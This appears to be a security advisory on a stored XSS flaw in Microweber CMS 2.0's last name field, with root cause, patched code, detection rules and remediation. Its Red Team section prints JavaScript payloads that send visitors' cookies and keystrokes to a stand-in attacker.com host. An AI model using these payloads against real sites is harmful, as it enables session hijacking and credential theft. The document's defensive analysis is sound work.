CVE-2025-51504

Executive Summary

CVE-2025-51504 is a stored Cross-Site Scripting (XSS) vulnerability in Microweber CMS 2.0. The flaw exists in the /projects/profile and homepage endpoints, where the last name field is not properly sanitized before being stored and later rendered. An attacker can inject arbitrary JavaScript into the last name field, which will execute in the context of any user viewing the affected profile or homepage. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability requires user interaction (viewing the profile) and has a CVSS v3.1 base score of 5.4 (Medium). No official patch or advisory has been released by Microweber at this time.

Supply Chain & Package Security

Microweber is a PHP-based CMS distributed via GitHub and its official website. The vulnerability is in the core application code, not in a third-party package. However, organizations using Microweber should verify the integrity of their installation and monitor for any official patches or updates. Since the patch status is unknown, users must implement virtual patching or WAF rules to mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the profile)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low (limited data exposure)
• Integrity Impact: Low (limited modification of data)
• Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to low confidentiality and integrity loss.

Deep Dive & Mechanics

The vulnerability resides in the user profile update functionality of Microweber CMS 2.0. When a user updates their profile, the last name field is stored in the database without proper sanitization or encoding. When the profile is viewed via the /projects/profile endpoint or the homepage, the stored value is rendered directly into the HTML without escaping.

Attack Flow:

1. Attacker registers or logs into Microweber.
2. Attacker navigates to their profile edit page.
3. Attacker sets the last name field to a malicious payload, e.g., <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. When any user (including admin) views the attacker's profile or the homepage where the profile is displayed, the script executes in their browser.

Root Cause: Lack of output encoding on the last name field when rendering user profiles. The application likely uses echo $last_name; instead of echo htmlspecialchars($last_name, ENT_QUOTES, 'UTF-8');.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// In profile view template
<div class="user-lastname"><?php echo $user['last_name']; ?></div>

Patched Code (PHP):

// In profile view template
<div class="user-lastname"><?php echo htmlspecialchars($user['last_name'], ENT_QUOTES, 'UTF-8'); ?></div>

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Microweber CMS 2.0.
• A registered user account with profile edit privileges.

Exploit Steps:

1. Log in to Microweber.
2. Navigate to /profile/edit or similar endpoint.
3. In the last name field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the profile.
5. Any user viewing the attacker's profile will have their cookies exfiltrated to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection:

• Monitor for unusual last name values containing <script>, onerror, onload, or other HTML/JavaScript event handlers.
• Use WAF rules to block requests containing <script> in the last_name parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/profile/update" OR uri="/projects/profile"
| rex field=form_data "last_name=(?<last_name>[^&]+)"
| where match(last_name, "<script|onerror|onload|javascript:")
| table _time, src_ip, user, last_name

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Unusual Referer headers pointing to /projects/profile or /profile/edit.
• File IOCs:
  • Modified user profile entries in the database containing <script> tags.
• Log IOCs:
  • Web server logs showing last_name parameter with HTML/JavaScript content.
  • Error logs indicating failed XSS attempts (e.g., blocked by WAF).

Detection Engineering

YARA Rule

rule CVE_2025_51504_XSS_Lastname {
    meta:
        description = "Detects XSS payloads in Microweber last name field"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-51504"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Microweber Stored XSS via Last Name Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-51504 by injecting XSS payloads into the last name field.
author: Valters IT
date: 2025-01-01
logsource:
    category: web
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/profile/update'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in profile fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51504 Microweber Stored XSS via Last Name"; flow:to_server; content:"POST"; http_method; content:"/profile/update"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy WAF rules to block requests containing <script>, onerror, onload, or javascript: in the last_name parameter.
2. Input Validation: Implement server-side validation to reject any last_name containing HTML tags or JavaScript event handlers.
3. Output Encoding: Apply htmlspecialchars() or equivalent to all user-supplied data when rendering in HTML context.

Long-Term Fix:

• Upgrade to a patched version of Microweber once available.
• Conduct a full code review of all user input handling and output rendering.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Disable the profile editing feature temporarily if possible.
• Restrict profile viewing to authenticated users only.

Valters IT